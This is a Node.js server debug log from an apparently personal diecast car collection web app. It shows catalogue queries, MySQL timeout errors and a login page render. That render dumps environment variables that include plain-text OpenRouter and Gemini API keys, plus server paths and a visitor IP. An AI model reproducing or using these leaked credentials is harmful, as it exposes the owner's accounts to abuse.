      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:31:42.283Z server-connect:output restrict: undefined
2026-02-12T13:31:42.283Z server-connect:app Executing action step select
2026-02-12T13:31:42.283Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:42.285Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:31:42.285Z server-connect:app Executing action step select
2026-02-12T13:31:42.285Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:42.286Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:31:42.286Z server-connect:app Executing action step select
2026-02-12T13:31:42.286Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:31:42.287Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:32:08.350Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:32:08.351Z server-connect:app Executing action step identify
2026-02-12T13:32:08.351Z server-connect:app options: { provider: 'security' }
2026-02-12T13:32:08.352Z server-connect:output identity: 1
2026-02-12T13:32:08.352Z server-connect:app Executing action step restrict
2026-02-12T13:32:08.352Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:32:08.353Z server-connect:output restrict: undefined
2026-02-12T13:32:08.353Z server-connect:app Executing action step paged
2026-02-12T13:32:08.353Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:32:08.359Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 20,
      model_name: 'Czinger 21C',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Czinger',
      vehicle_brand_id: 135,
      condition: 'Uncarded',
      yt_short_created: 1,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 14:28:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 14:28:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 14:48:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 14:48:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 16:38:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 16:38:42' as DATETIME)"
}
2026-02-12T17:51:21.281Z server-connect:router Serving templateView /
2026-02-12T17:51:21.282Z server-connect:app Executing action step identify
2026-02-12T17:51:21.282Z server-connect:app options: { provider: 'security' }
2026-02-12T17:51:21.283Z server-connect:auth No login cookie found
2026-02-12T17:51:21.283Z server-connect:output identity: false
2026-02-12T17:51:21.283Z server-connect:app Executing action step restrict
2026-02-12T17:51:21.283Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T17:51:21.284Z server-connect:output restrict: undefined
2026-02-12T17:51:21.413Z server-connect:router Serving templateView /login
2026-02-12T17:51:21.413Z server-connect:app Executing action step identify
2026-02-12T17:51:21.414Z server-connect:app options: { provider: 'security' }
2026-02-12T17:51:21.414Z server-connect:auth No login cookie found
2026-02-12T17:51:21.414Z server-connect:output identity: false
2026-02-12T17:51:21.414Z server-connect:router Render template layouts/authentication
2026-02-12T17:51:21.414Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.46.87.149',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T17:51:21.413Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.46.87.149',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
